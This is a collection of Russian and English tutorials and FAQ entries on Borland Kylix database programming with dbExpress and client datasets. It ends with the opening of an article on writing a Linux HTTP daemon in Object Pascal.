Наличие у TSQLDataSet свойства TDataSource позволяет связать два набора данных отношениями главный-подчиненный, т.е отображать в подчиненном наборе только те записи, которые связаны с текущей записью главного набора данных. Для этого необходимо связать главный набор данных с компонентом TDataSource, установив у последнего св-во DataSet равным имени компонента с главным набором данных. Затем у подчиненного набора данных установить свойство DataSource равным имени компонента TDataSource, связанного с главным набором. После описанных манипуляций в тексте команды подчиненного запроса можно использовать поля главного набора для связи, указывая их в качестве параметров.

Доступ к метаданным
Метаданные - это данные о структуре базы данных, такие как созданые таблицы, хранимые процедуры, поля таблиц и параметры процедур итд. Получение метаданных осуществляется вызовом метода SetSchemaInfo. Метод объявлен как:

procedure SetSchemaInfo(SchemaType: TSchemaType; SchemaObjectName, SchemaPattern: string);
Первый параметр определяет тип метаданных. Его возможные значения
stNoSchema - схема отсутствует - производится выборка результатов запроса
stTables - получение списка таблиц
stSysTables - получение информации о системных таблицах
stProcedures - получение информации о хранимых процедурах
stColumns - информация о полях таблицы
stProcedureParams - параметры хранимой процедуры
stIndexes - информация об индексах таблицы
Второй параметр - имя таблицы или хранимой процедуры, о полях или параметрах которой мы получаем информацию. Имеет смысл лишь при следующих значениях первого параметра
stColumns, stProcedureParams, stIndexes, иначе параметр игнорируется,
Третий параметр SchemaPattern - позволяет задать маску для фильтрации выбранной информации. При этом допустимо применение следующих подстановок
% - любые символы
_ - одиночный символ

Если же в маску должны входить вышеприведенные два символа, то они записываются как %% - знак процента, __ - подчеркивание.
При изменении свойства CommandText набор данных автоматически устанавливает значение свойства SchemaInfo равным stNoSchema.
Пример:

// Выборка информации о таблицах
SQLDataSet1.Close;
SQLDataSet1.SetSchemaInfo(stTables,'','%');
SQLDataSet1.Open;

Автор: Mike Goblin
Взято с сайта http://www.delphimaster.ru/

с разрешения автора.


Использование SQLMonitor (DBExpress)

Следи за собой - будь осторожен или использование SQLMonitor.
Итак, остался всего один компонент на закладке dbExpress, не обследованный нами - это SQLMonitor. Как вы уже догадались - его задача - это протоколирование событий, происходящих в программе при обращении к базе данных. Протокол может выводиться как в StringList, так и файл.

Создадим новый проект (File/ New Application). На главную форму положим SQLConection, SQLClientDataSet. Настроим SQLConnection на соединение с БД, а SQLClientDataSet на получение данных через SQLConnection. Свойства Connected SQLConnection и Active SQLClientDataSet установим в True. Все стандартно.

Теперь положим на форму компонент - SQL Monitor. Обглядим, какими свойствами И событиями он обладает:

Active Boolean Активность монитора- вкл/выкл
AutoSave Boolean Авто сохранение протокола в файл, имя файла должно быть указано в св-ве FileName
FileName String Имя файла для сохранения протокола. Если св-во AutoSave установлено в true, то в указанный файл протокол записывается автоматически, если AutoSave :=false, то FileName используется как файл по умолчанию, для методов LoadFromFile, SaveToFile
SQLConnection TSQLConnection Соединение с БД, работа с которым будет протколироваться
TraceList TStrings Содержимое протокола
Методы
LoadFromFile (AFileName:string) Загрузить протокол из файла
SaveToFile (AFileName:string) Сохранить протокол в файл
События
OnLogTrace TTraceLogEvent Генерируется сразу после вставки нового сообщения в протокол
OnTrace TTraceEvent Генерируется при наличии сообщения для протокола, перед его вставкой
Что нам остается сделать - в компоненте SQLMonitor1 установить свойство SQLConnection равным SQLConnection1, а затем свойство Active SQLMonitor1 установим в True. Для вывода сообщений расположим на форме компонент Memo. Для его заполнения создадим обработчик события OnLogTrace компонента SQLMonitor1 со следующим кодом:

Memo1.Clear;
Memo1.LinesAddString(SQLMonitor1.TraceList);

Все запускаем полученное приложение - читаем протокол.

У меня возник по поводу использования монитора только один вопрос (Кто идет за "Клинским"? :) А как отслеживать не все события, а только какие-то определенные? Ответ нашелся довольно быстро.

Структура CBInfo:pSQLTraceDesc имеет поле eTraceCat, содержащее категорию произошедшего события. Однако у меня значение этого поля всегда было равно 256. Таким образом, нам остается только анализировать текст сообщения, находящийся в поле pszTrace вышеуказанной структуры.

Ну вот и все. Ваши замечания и предложения я рад буду увидеть в почтовом ящике mgoblin@mail.ru

Автор: Mike Goblin
Взято с сайта http://www.delphimaster.ru/

с разрешения автора.


Accessing InterBase via dbExpress with Kylix produces error: Unable to load libgds.so

If you install the dbExpress InterBase client driver, you will need to have libcrypt.so installed. Some Linux distributions omit this library or do not include it in a base install. If your distribution does not include libcrypt.so, contact the package maintainer, or search online Linux resources, such as {http://rpmfind.net/}.

Some Linux distributions provide all the libraries required to run Kylix, but do not use the naming conventions that Kylix expects. The most common problem is library names with embedded version information, while Kylix expects version-independent names. If Kylix software fails to run because of missing shared libraries, check for similarly named libraries in /lib and /usr/lib. You can then create a symbolic link to help Kylix find the library. For example, if you are missing libcrypt.so but find /lib/libcrypt.so.1, you would enter the following shell commands as root:

cd /lib
ln -s libcrypt.so.1 libcrypt.so


Работа с клиентскими наборами данных (DBExpress)

Введение
В данной части будет рассмотрено применение клиентских наборов данных в dbExpress. Согласно иерархии классов в Kylix к клиентским наборам данных относятся классы TSQLClientDataSet и TClientDataSet. Последний из них является частью технологии MIDAS. Так как на сегодняшний день поддержка данной технологии в Kylix до конца не реализована, то основное внимание мы уделим рассмотрению TSQLClientDataSet.

Компоненты класса TSQLClientDataSet предназначены для создания двухзвенных приложений клиент сервер. Так же как и однонаправленные наборы данных, они используются для работы с сервером БД через TSQLConnection. С другой стороны многие из методов и событий класса TSQLClientDataSet характерны для клиентского датасета в технологии MIDAS. На самом деле TSQLClientDataSet - это гибрид, содержащий в себе объекты однонаправленного набора данных, клиентский набор данных и объект провайдера для применения внесенных изменений на сервере БД. "Запихивание под капот" этих объектов позволило существенно упростить разработку двухзвенных приложений баз данных в dbExpress.

Простейший проект
Работа с TSQLClientDataSet будет проиллюстрирована на примере простой базы данных служащих организации. В качестве сервера БД выбран Interbase 6, т.к он входит в поставку Kylix. Предварительно необходимо создать базу данных с таблицей EMPLOYEERS, описанной следующим образом:

/* Table: EMPLOYEERS, Owner: SYSDBA */
CREATE TABLE "EMPLOYEERS"
(
  "ID"   INTEGER NOT NULL,
  "NAME"   VARCHAR(200) NOT NULL,
 PRIMARY KEY ("ID")
);
СREATE GENERATOR "EMP_GEN";
SET TERM ^ ;
/* Triggers only will work for SQL triggers */
CREATE TRIGGER "EMPLOYEERS_BEFORE_INS" FOR "EMPLOYEERS"
ACTIVE BEFORE INSERT POSITION 0
AS
   BEGIN
          NEW.ID = GEN_ID(EMP_GEN,1);
   END
 ^
COMMIT WORK ^
SET TERM ;^

Вставим несколько записей в созданную таблицу. Текст запроса на вставку в таблицу выглядит так:
Insert into Employeers (Name) values 'Петов';
Insert into Employeers (Name) values 'Сидоров';

Далее запустим IDE Kylix и создадим новое приложение. На главной форме приложения разместим следующие компоненты с закладки dbExpress и установим для них нижеуказанные свойства
sc_conn:TDBConnection - настроить для соединения с созданной БД. (как это сделать см. "Коннект - есть коннект"). Св-во Connected - установить true.
scd_emp:TSQLClientDataSet
DBConnection - sc_conn
CommandText - select ID,NAME from EMPOYEERS

Двойным кликом мыши вызовем редактор полей. В редакторе полей правой кнопкой мыши вызовем всплывающее меню и в нем выберем пункт Add all fields. При этом поля набора данных будут определены явным образом. Выберем поле ID и установим его свойство Required в false, чтобы снять необходимость ручного ввода значения ID при вставке пользователем новой записи. После этого св-во Connected компонента sc_conn установим в false.

ds_src:TDataSource
DataSet:scd_emp
DBNavigator1:TDBNavigator
DataSource - ds_src
Align - alTop
Panel1:TPanel
Align - alBottom
Caption - ""(пустая строка)
DBGrid1:TDBGrid
DataSource - ds_src
Align - alTop

На Panel1 разместим 4(Button) кнопки c именами b_connect, b_disconnect, b_count, b_fetch (заголовки - Caption - connect, disconnect, get count, fetch all соответсвтенно )и одну надпись (Label). На событие onClick кнопки b_connect навесим обработчик со следующим кодом

Sc_conn.Connected:=true;
Scd_emp.Active :=true;
На событие onClick кнопки b_disconnect навесим обработчик со следующим кодом
Sc_conn.Connected:=false;
Scd_emp.Active :=false;
Назначение размещенных компонентов следующее
Sc_conn - соединение с базой данных
Sc_emp - набор данных для работы с таблицей БД employers
Ds_src - представление данных sc_emp для компонентов пользовательского интерфейса "чувствительных" к данным.
Запустим на выполнение наш проект, при этом предполагается, что сервер interbase уже запущен. При нажатии кнопки b_connect в сетке данных (DBGrid) можно будет видеть записи таблицы employeers.

Навигация по записям
Методы навигации по записям аналогичны однонаправленным наборам данных.

Добавление, удаление и редактирование записей
Для добавления записей существуют четыре метода
Append -Добавление пустой записи в конец набора данных. Курсор помещается на добавленную запись и набор данных переходит в режим редактирования
Insert - Добавление пустой записи в текущую позицию набора данных. Курсор помещается на добавленную запись и набор данных переходит в режим редактирования.
AppendRecord(const Values: array of const) - Добавление записи в конец набора данных. Поля передаются через параметр Values
InsertRecord(const Values: array of const) Добавление записи в текущую позицию набора данных. Поля передаются через параметр Values
Примеры добавления записей:
// Использование Append
scd_emp.Append;
scd_emp.FieldByName('ID').Value:=-1;
scd_emp.FieldByName('Name').Value:='Петров';
scd_emp.Post;

// Использование AppendRecord
scd_emp.AppendRecord([1,'Петров']);

Определены несколько событий, связанных с вставкой новой записи

BeforeInsert - Событие, генерируемое перед вставкой новой записи в набор данных.
AfterInsert - Событие, генерируемое после вставкой новой записи в набор данных
OnNewRecord - Событие, генерируемое при вставке новой записи в набор данных

При необходимости отменить вставку записи внутри обработчика события можно вызвать метод Abort.
Порядок вызова событий

BeforeInsert
OnNewRecord
AfterInsert
Для удаления текущей записи предназначен метод Delete, события BeforeDelete и AfterDelete генерируются до и после удаления записи соответственно.
Пример:

scd_emp.Delete;
Перевод набора данных в режим редактирования осуществляется вызовом метода Edit. При этом проверить доступность редактирования можно, проанализировав свойство CanModify. Еще одним полезным методом является метод CheckBrowseMode. Данный метод автоматически подтверждает или отменяет сделанные изменения перед тем, как будет осуществлен переход на следующую запись в наборе данных.

События BeforeEdit и AfterEdit возникают соответственно перед и после редактирования записи.

Подтверждение и откат сделанных изменений
Так как клиентский набор данных буферизирует сделанные изменения, то применяется двухступенчатое подтверждение сделанных изменений. Первая ступень - это запись сделанных изменений в буфер набора данных, вторая - запись изменений из буфера в сервер БД.

Запись изменений в буфер осуществляется вызовом метода Post. События BeforePost и AfterPost генерируются перед и после подтверждения изменений. Многие из компонентов пользовательского интерфейса для работы с данными вызывают метод Post автоматически при переходе на следующую запись набора данных.

Отмена записи в буфер набора данных осуществляется вызовом метода Cancel. События BeforeCancel и AfterCancel генерируются перед и после подтверждения изменений.

Изменения, сделанные в буфере, SQLClientDataSet хранит в свойстве Delta. Количество изменений хранится в свойстве ChangeCount. Запись сделанных изменений из буфера в БД осуществляется вызовом ApplyUpdates. В качестве параметра функции передается максимальное количество ошибок, допустимых до завершения метода. Функция возвращает количество возникших ошибок. Если в результате применения изменений количество ошибок не превысило заданного, то успешно переданные записи удаляются из свойства Delta (т.е считаются переданными на сервер БД), иначе все записи считаются не переданными.
Пример:

// Передача изменений из буфера в БД
if scd_emp.ChargeCount > 0 then
  if scd_emp.ApplyUpdates(10) > 0 then
    Application.MessageBox('Обнаружены ошибки');

При вызове ApplyUpdates SQLClientDataSet генерирует набор SQL операторов для передачи каждой вставленной, удаленной и измененной записи в БД.

При передаче изменений на сервер БД возникает задача определения соответствия измененной записи из буфера набора данных и записи в БД (т.е формирования части where SQL запроса). Свойство UpdateMode определяет данный критерий. Возможные значения св-ва приведены ниже

upWhereAll - для поиска применяется вся совокупность полей набора - режим по умолчанию
upWhereChanged - только поля, отмеченные как ключевые и поля содержащие изменения применяются для поиска.
UpWhereKeyOnly - только поля, отмеченные как ключевые, применяются для поиска. Поля набора данных имеют свойство ProviderFlags, определяющее поведение поля при формировании текста запроса. Могут быть установлены следующие флаги:
pfInUpdate - поле включается в SQL предложение UPDATE - т.е может быть обновлено
pfInWhere - поле включается в в SQL предложение Where в режиме обновления upWhereAll или upWhereChanged
pfInKey - поле включается в в SQL предложение Where в режиме обновления UpWhereKeyOnly
pfHidden - Поле включается в пакет данных для обеспечения уникальности записи, оно не может использоваться набором данных.
Наличие события OnUpdateData позволяет установить параметры обновления для каждой записи, передаваемой на сервер БД.

Откат всех сделанных изменений осуществляется с помощью метода CancelUpdates. Данный метод очищает св-во Delta, таким образом, отменяя все изменения в буфере набора данных.

Откат последней выполненной операции выполняется вызовом UndoLastChange. Передача True в качестве параметра метода UndoLastChange заставляет курсор перемещаться на откатываемую запись.

Но и это еще не все! Можно откатывать назад на произвольное количество операций (здесь под операцией понимается вставка, редактирование, удаление). Для этого существуют так называемые точки сохранения (SavePoint).
Техника такая:

Сохраняем точку. SP:=Client.SavePoint; (здесь SP:integer)
Делаем все, что заблагорассудится - вставка, удаление, редактирование
Восстанавливаем Client.SavePoint:=SP; и как будто ничего не было :))
Если немного помозговать, то используя точки сохранения, можно организовать не только Undo, но и Redo.

Осталось внести некоторые доработки в наш проект, чтобы сделанные изменения были отправлены на сервер БД. Для этого выполним следующие действия:
1. Объявим глобальную переменную id типа integer. Делается это в секции var модуля главной формы, данная секция будет выглядеть так

var
  Form1:Tform1;
Id:integer; // Счетчик для поля id, объявленный нами

2. В обработчике события AfterPost scd_emp инициализируем переменную id
id:=-1;

3. В обработчике BeforePost scd_emp используем id для заполнения поля id фиктивным значением (реально значение присваивается на сервере).
If scd_empID.IsNull then
  Begin
    Scd_empID.Value:=id;
    Dec(id);
  End;

4. В обработчике события BeforeRefresh scd_emp организуем отправку данных на сервер.
if scd_emp.ChangeCount > 0 then
  if scd_emp.ApplyUpdates(0) > 0 then
    Abort
  else
    id:=-1;

Запустим полученное приложение, попробуем вводить или изменять записи - до нажатия кнопки обновления DBNavigator1 все наши изменения не будут отражаться на сервере БД. Закрытие приложения с изменениями, не отправленными на сервер, приводят к потере этих изменений.

Обработка ошибок
Обработка ошибок также делится на обработку ошибок работы с буфером и обработку ошибок передачи данных на сервер БД. Для обработки ошибок вставки, удаления и редактирования в компоненте TSQLDataSet существуют несколько видов событий

OnDeleteError - Возникает при наличии ошибок удаления записи
OnEditError - Возникает при наличии ошибок редактирования или вставки записи
OnPostError - Возникает при наличии ошибок записи сделанных изменений в буфер клиентского набора данных

Обработчики вышеперечисленных событий в качестве одного из параметров получают параметр Action типа TDataAction. Изменяя значение этого параметра в обработчике можно варьировать реакцию на произошедшую ошибку. Возможные значения

daFail - прервать операцию и выдать сообщение об ошибке (поведение по умолчанию)
daAbort - прервать операцию без выдачи сообщения об ошибке
daRetry - повторить попытку, предполагается, что обработчик события предварительно пытается скорректировать запись, вызвавшую ошибку.
Клонирование таблицы
Описано далее в разделе Работа с локальными базами данных в Kylix.
Работа с локальными базами данных в Kylix
Под локальными мы будем понимать базы данных, файлы которых расположены в файлах на локальном диске компьютера или в локальной сети. Доступ к этим файлам осуществляется приложением напрямую.

В Delphi 5, продолжателем которой является Kylix, для работы с локальными базами данных использовалось несколько подходов.

Использование библиотек BDE, ADO, ODBC для доступа к локальным базам формата DBase, Paradox.
Использование TСlientDataSet для работы с локальными базами данных формата cds или xml. Форматы данных файлов являются изобретением Borland.
В Kylix разработка компонентов для создания локальных баз данных первого типа отдана на откуп разработчикам сторонних фирм. Связано это прежде всего с тем, что данные форматы данных являются отмирающими, тем более что конвертировние их в формат xml не вызывает больших затруднений.

Второй тип баз данных, получивший наименование MyBase, предоставляет дополнительные возможности, такие как

Возможность сортировки данных по полям без создания дополнительных файлов индексов.
Возможность ведения списка изменений и отката сделанных изменений
Возможность создания агрегатов на основе данных таблицы.
Возможность совместного использования одних и тех же данных несколькими датасетами.
Совместимость с Delphi5 (не говоря уже о Delphi 6)
Для иллюстрации всего вышесказанного создадим приложение для просмотра и редактирования заказов.
Создание заготовки приложения. Меню File/New Application создаст проект с пустой формой. Добавим модуль данных - File/New. В открывшемся диалоге выбрать пункт DataModule.

Создание файла базы данных. В модуль данных поместим компонент ClientDataSet с закладки DataAccess. Св-во Name установим - Clients. Данный датасет будет хранить информацию о заказчиках. Для создания файла базы данных необходимо указать поля и их типы. Сделать это можно двумя способами:
a) Определить FieldDefs
b) Создать объекты полей явным образом.

Лично я предпочитаю определить FieldDefs, а затем на их основе создать объекты полей :))

Итак, двойной клик на св-ве FieldDefs компонента Clients откроет диалог работы с определениями полей. Добавим следующие определения полей

ID ftAutoInc 0
Name ftString 50

Правой кнопкой мышки кликнем на Clients и выберем в выпадающем меню пункт CreateDataSet, а затем Save To MyBase Xml UTF-8 table. В появившемся диалоге укажем имя xml файла, который будет хранить данные о клиентах - Clients.xml.

Было бы неплохо, чтобы при старте программы ClientDataSet читал данные из созданного нами xml файла. Для этого св-во FileName должно быть равно полному имени (с путем) xml файла. Для Clients это /путь к файлу/Clients.xml.

Теперь определим поля явно на основе FieldDefs. Двойной клик на Clients, в диалоге правой кнопкой мыши вызываем контекстное меню, выбираем пункт Add all fields. Затем DataSource - ds_Clients, разместим в модуле данных и свяжем c Clients (св-во DataSet компонента ds_Clients установим равным Clients).

Формат xml таблицы БД, откат изменений
Посмотрим, как внутри устроен xml файл базы данных. После создания датасета типичный файл БД выглядит так:
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<DATAPACKET Version="2.0">
 <METADATA>
<FIELDS>
<FIELD attrname="ID" fieldtype="i4" readonly="true" SUBTYPE="Autoinc" />
<FIELD attrname="Name" fieldtype="string" WIDTH="50" />
</FIELDS>
<PARAMS DEFAULT_ORDER="" AUTOINCVALUE="1" />
</METADATA>
<ROWDATA />
</DATAPACKET>

Строка 1 <?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
В строке 1 расположен заголовочный тэг
Строка 2 <DATAPACKET Version="2.0">
Корневой тэг документа, а вот дальше и начинаются теги, на которые стоит обратить внимание, в частности на строки 3 и 10.
Строка 3 <METADATA>
Строка 10<ROWDATA />

Так вот всю таблицу можно разделить на две части: данные о структуре таблицы БД, хранимые в файле (метаданные) и собственно сами записи. Как вы уже догадались, метаданные хранятся в теге METADATA, а записи в ROWDATA, естественно что при создании новой таблицы БД тег ROWDATA будет пустым.

Внутри тэга METADATA расположены описания полей таблицы (тег FIELDS и вложенные в него теги) и другая служебная информация (порядок сортировки по умолчанию, начальное значение автоинкрементального счетчика).

Теперь давайте запустим наше приложение, вставим в таблицу новую запись, закроем приложение и посмотрим как изменился xml файл.

Изменился тег PARAMS, теперь он выглядит так:

<PARAMS CHANGE_LOG="1 0 4" AUTOINCVALUE="2" DEFAULT_ORDER="" />
и тег ROWDATA стал непустым:
<ROWDATA>
<ROW RowState="4" ID="1" Name="e?AI?" />
</ROWDATA>

Внимательно посмотрев, на изменения мы увидим, что внутри таблицы ведется журнал операций. Это дает возможность отката сделанных изменений. Подробнее это описано выше для SQLClientDataSet. Добавим, что вызов метода MergeChangeLog делает все изменения, сделанные до его вызова недоступными для отката, т.е очищает журнал действий.

Если же Вам совсем не нужно, чтобы журнал велся, в runtime установите св-во LogChanges := false.

Обработка ошибок, могущих возникать при описанных действиях аналогична случаю описанному для SQLClientDataSet.

Клонирование таблицы
Поскольку TClientDataSet держит данные из таблицы в памяти, появилась возможность совместного использования одних данных двумя датасетами. Клонирование осуществляется вызовом метода CloneCursor

Procedure CloneCursor(Source:TCustomClientDataSet;Reset:Boolean;KeepSettings:Boolean = false)
Параметр Source - источник клонированных данных
Параметры Reset и KeepSettings определяют установку св-в фильров, индексы, Read Only, MasterSource, MasterFields. Когда оба параметра fasle указанные св-ва копируются из датасета-источника, Reset:=true - данные св-ва сбрасываются, KeepSettings:=true - остаются без изменений, при этом совместимость их с данными источника клонирования остается на совести программиста.

Установка отношений главный - подчиненный (master-detail)
Первый из способов - это задание св-в MasterSource и MasterFields. Этот способ традиционен еще в Delphi и мы рассматривать его тут не будем - читайте книжки.

Новым способом организации отношения master-detail стало использование вложенных датасетов. Вот об этом и пойдет речь. Допустим мы хотим иметь информацию о покупках сделанных клиентом.

Сначала очистим датасет Clients - щелкнем правой кнопкой мыши и в контекстном меню выберем - Clear Data.

Введем дополнительное FieldDefs Orders - типа ftDataSet. Данный тип поля предназначен для хранения внутри себя датасетов. Набор полей вложенного датасета определяется в свойсвте ChildDefs. Определим в ChildDefs следующие поля Имя (Name) Тип(Type) Размер(Size)
ID FtAutoInc 0
OrderName ftString 20
Price ftCurrency 0
ID - счетчик, OrderName - описание заказа, Price - цена заказа .

Осталось только создать на основе созданных определений создать датасет (щелкнув правой кнопкой и выбрав Create DataSet), сохранить в файл (Save to MyBase xml table) и на основе этих определений явно создать поля (двойной клик на Clients, правая кнопка мыши - add all fields). Открыв созданный xml файл мы увидим следующее

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
- <DATAPACKET Version="2.0">
- <METADATA>
- <FIELDS>
  <FIELD attrname="ID" fieldtype="i4" readonly="true" SUBTYPE="Autoinc" />
  <FIELD attrname="Name" fieldtype="string" WIDTH="50" />
- <FIELD attrname="Orders" fieldtype="nested">
- <FIELDS>
  <FIELD attrname="ID" fieldtype="i4" SUBTYPE="Autoinc" />
  <FIELD attrname="OrderName" fieldtype="string" WIDTH="20" />
  <FIELD attrname="Price" fieldtype="r8" SUBTYPE="Money" />
  </FIELDS>
  <PARAMS AUTOINCVALUE="1" />
  </FIELD>
  </FIELDS>
  <PARAMS DEFAULT_ORDER="" AUTOINCVALUE="1" />
  </METADATA>
  <ROWDATA />
  </DATAPACKET>

Нетрудно убедиться в том, что поле Orders содержит в себе описание подчиненной таблицы. При этом в сетке данных DBGrid1, расположенной на главной форме, появился новый столбец Orders. При запуске приложения и попытке редактирования этого поля автоматически открывается форма для редактирования вложенного набора данных.

Другим способом организации взаимодействия с вложенным датасетом является размещение в модуле данных дополнительного ClientDataSet. Поместим в модуль данных еще один компонент типа TClientDataSet, установив его имя Orders. Св-ву DataSetField компонента Orders из выпадающего списка присвоим значение ClientsOrders. Все теперь пользуясь компонентом Orders можно просматривать и редактировать вложенный датасет.

Достоинства вышеописанного метода в том, что вся база будет храниться в одном xml файле, недостаток же - нельзя разорвать связь главный-подчиненный и как следствие одновременно просмотреть все записи о заказах вне зависимости от выбранного клиента.

Автор: Mike Goblin
Взято с сайта http://www.delphimaster.ru/

с разрешения автора.


Does Kylix support Postgres?

The Kylix 2 dbExpress PostgreSQL/RedHat database driver is available for download from the http://www.borland.com/kylix/webreg/k2/k2_registeredusers.html

You can also use ODBC


Does Kylix support ODBC?

You can connect using an ODBC driver via dbExpress in Kylix. There is an ODBC dbExpress gateway driver on the Kylix companion CD.


Интернет программирование

Cодержание раздела:

Программирование Интернет приложений в Borland Kylix. Часть I
Программирование Интернет приложений в Borland Kylix. Часть II
Using a DSO on Apache 2.0.43, created with Kylix 3


Программирование Интернет приложений в Borland Kylix. Часть I

Создай своих демонов!

Автор: Андрей Боровский (www.kylixportal.chat.ru)

В этой статье речь пойдет о создании интернет серверов (сетевых демонов) в Linux при помощи среды разработки Kylix и входящего в нее набора компонентов Internet Direct. В качестве примера описывается разработка простого сервера протокола HTTP.
Одной из сильных сторон Delphi и Kylix является возможность быстрой разработки мощных Интернет приложений. С этой целью в состав обеих сред включены наборы готовых компонентов для работы с Интернет. В Delphi 6 и Kylix 1.0 эту функцию выполняет Internet Direct component suite ( Indy ). Indy представляет собой набор классов Object Pascal (существует также версия для Borland C++ Builder) для работы с Интернет. Одни классы, такие как TIdTCPConnection, предоставляют базовые функции для низкоуровневой работы с сервисами Интернет, другие классы, такие как TIdHTTPServer, являются готовыми Интернет серверами или клиентами со встроенной поддержкой всех основных функций соответствующих сетевых протоколов. К достоинствам Indy следует отнести качественный механизм многопоточности (multi-threading), доступный как в Windows, так и в Linux версии. Еще одним достоинством Indy является доступность исходных текстов всех компонентов набора. Indy распространяется под двойным лицензированием, что позволяет создавать на его базе как открытые, так и коммерческие приложения.
Создать простейший Интернет сервер для Windows в Delphi 6 достаточно легко: бросаем в окно формы соответствующий компонент, назначаем пару обработчиков событий и voila: сервер готов! В Linux все выглядит лишь немного сложнее.

Демоны Linux

Большинство сетевых серверов Linux реализованы в виде демонов. Так, например, популярный web-сервер Apache, это демон протокола HTTP (httpd). Демон (daemon, demon) - это программа, выполняющаяся в фоновом режиме и настроенная на обработку определенного класса событий. После запуска демон находится в состоянии ожидания события. Когда в системе происходит соответствующее событие, демон активизируется и выполняет необходимые действия по его обработке. Важной особенностью демонов является возможность параллельной обработки нескольких событий. Демоны бывают не только сетевыми. Например печатью в Linux управляет демон печати, а записью сообщений в log-файлы - log-демон (logd).
Сетевой демон находится в состоянии ожидания запроса на соединение. Когда такой запрос поступает, демон либо устанавливает соединение и выполняет обработку запроса, либо отказывается установить соединение. Сразу отмечу, что программа-сервер Интернет вовсе не обязательно должна быть демоном. В следующих статьях этой серии мы напишем сервер, обладающий полноценным графическим интерфейсом. Однако, если Вы хотите, чтобы Ваш сервер запускался вместе с операционной системой и выполнялся вне зависимости от того, кто из пользователей работает в системе в данный момент, реализация сервера в форме демона представляется наилучшим вариантом.
Демон, это консольное приложение, выполняющееся в фоновом режиме. Фоновым режимом (background mode) называется такой режим работы программы, в котором приложение не взаимодействует с терминалом. После запуска демон должен переходить в фоновый режим автоматически.

Орудие демона - функция fork

Прежде чем приступить к программированию демона, следует рассмотреть подробнее функцию fork, которая играет в работе демонов важную роль. В Kylix функция fork объявлена в модуле Libc. Объявление функции выглядит следующим образом:

function fork: __pid_t; cdecl;

Функция fork создает новый процесс, являющийся точной копией того процесса, из которого она была вызвана. Выполнение нового процесса начинается с точки возврата функции fork. Таким образом после успешного вызова функция fork возвращает значения уже двум процессам. Новый процесс работает так, как если бы он выполнялся с самого начала, вызвал функцию fork и получил ее значение. Оба процесса принадлежат к одной и той же группе и разделяют открытые дескрипторы файлов. Отличить дочерний процесс от родительского можно по значению, возвращаемому функцией fork. Родительскому процессу fork возвращает pid созданного дочернего процесса, тогда как дочернему процессу возвращается значение 0.

Рисунок справа иллюстрирует работу функции fork. Функция fork (в переводе с английского - вилы, вилка) широко используется при программировании демонов. Вот почему демон, изображенный на эмблеме FreeBSD, держит вилы в руках.

Структура демона

Как было указано выше, демон должен быть консольным приложением. В окне New Items (Вызывается командой File|New...) на вкладке New выбираем элемент Console Application. Открывается окно с заготовкой файла проекта консольного приложения. Этот файл будет содержать все основные элементы создаваемого демона. Обычно имя исполняемого файла демона заканчивается на букву d (htppd, ftpd, crond). Назовем создаваемый проект dhttpd.

Наша первая задача - перевести запущенный демон в фоновый режим. Для этого при помощи fork создается копия процесса демона, а выполнение исходного процесса завершается:

  pid := fork;
  if pid = -1 then            // fork failed
  begin
    perror( PChar('fork 1: ') );
    Halt( 1 );
  end else
  if pid <> 0 then Halt( 0 ); // parent process exits
  ...

Здесь pid - глобальная переменная типа Integer. Если при вызове функции fork произошла ошибка, функция возвращает значение -1, и приложение должно завершиться. После удачного вызова функции fork родительскому процессу возвращается pid дочернего процесса, не равный нулю. Родительский процесс завершает работу, а дочерний продолжает выполняться. После завершения родительского процесса контроль над терминалом возвращается запустившей его программе (оболочке), а новый процесс, созданный функцией fork, выполняется в фоновом режиме. Однако наш процесс все еще принадлежит той же группе, что и создавший его процесс. Для того чтобы демон стал полностью независим от запустившего его терминала, новый процесс следует поместить в новую группу, а самый простой способ сделать это - создать новую сессию. (Подробнее о сессиях и группах процессов можно прочесть в [3].) Новая сессия создается вызовом функции setsid:

  pid := setsid;
  if pid = -1  then  // setsid failed
  begin
    perror( PChar('setsid: ') );
    Halt( 1 );
  end;
  ...

Далее мы закрываем стандартный поток ввода и перенаправляем потоки вывода на /dev/null (это необходимо сделать, так как некоторые функции могут использовать стандартные потоки для вывода служебной информации).

  Close( Input );    // closing stdin
  AssignFile( Output, '/dev/null' );
  Rewrite( Output );
  AssignFile( ErrOutput, '/dev/null' );
  Rewrite( ErrOutput );
  ...

Теперь процесс выполняется в режиме демона. Сохраним pid процесса в файле dhttpd.pid в каталоге /var/run (зачем это нужно объясняется ниже). Следует отметить, что демон должен запускаться в режиме, предоставляющем полный доступ к ресурсам компьютера, т. е. в режиме root или в ходе загрузки операционной системы. Это необходимо не только для получения доступа к таким каталогам, как /var/run, но и для работы с сокетами, что является основной функцией создаваемого нами приложения.

  AssignFile( F, '/var/run/dhttpd.pid' );
  Rewrite( F );
  pid := getpid;
  WriteLn( F, pid );
  CloseFile( F );
...

Здесь F - переменная типа Text.

Нам еще необходимо организовать обработку сигналов. Сигналы Linux (их не следует путать с сигналами Qt library) очень похожи на прерывания MS-DOS. Фактически сигналы основаны на программных прерываниях. Когда процессу Linux посылается сигнал, для которого установлен обработчик, выполнение процесса прерывается и вызывается процедура обработчика сигнала. По окончании выполнения обработчика основной процесс возобновляется с той точки, в которой он был прерван, если, конечно, обработчик сигнала не завершил процесс. В Linux процессу предоставлены широкие возможности по управлению обработкой большинства сигналов: Процесс может блокировать сигналы, игнорировать сигналы, назначать свои обработчики сигналов или использовать обработчики, назначенные системой по умолчанию. Характерной особенностью сигналов Linux является асинхронность. Это означает, что незаблокированный сигнал может прервать выполнение программы в любой точке. Данный факт нужно учитывать при написании обработчиков сигналов. Сигналы Linux и их обработка подробно описаны в [3].

Существует два основных подхода к обработке сигналов Linux: первый подход заключается в том, что все действия по обработке сигнала выполняются в процедуре обработчика. При втором подходе обработчик сигнала лишь изменяет значения некоторых глобальных переменных-флажков. Основной процесс периодически проверяет состояние флажков и в случае их изменения выполняет операции, связанные с соответствующим сигналом. Этот подход позволяет синхронизировать обработку сигналов с выполнением других элементов программы.

При программировании нашего демона мы пойдем по второму пути. В программе объявляется глобальная переменная SigNum типа Integer, а в качестве обработчика сигналов служит процедура TranslateSig:

  procedure TranslateSig( sig : Integer ); cdecl;
  begin
    SigNum := sig;
  end;

Функция TranslateSig просто присваевает переменной SigNum номер полученного сигнала. В создаваемом демоне мы ограничемся обработкой сигналов SIGTERM и SIGHUP. Связываем обработчик TranslateSig с этими сигналами:

  signal( SIGTERM, @TranslateSig );
  signal( SIGHUP, @TranslateSig );

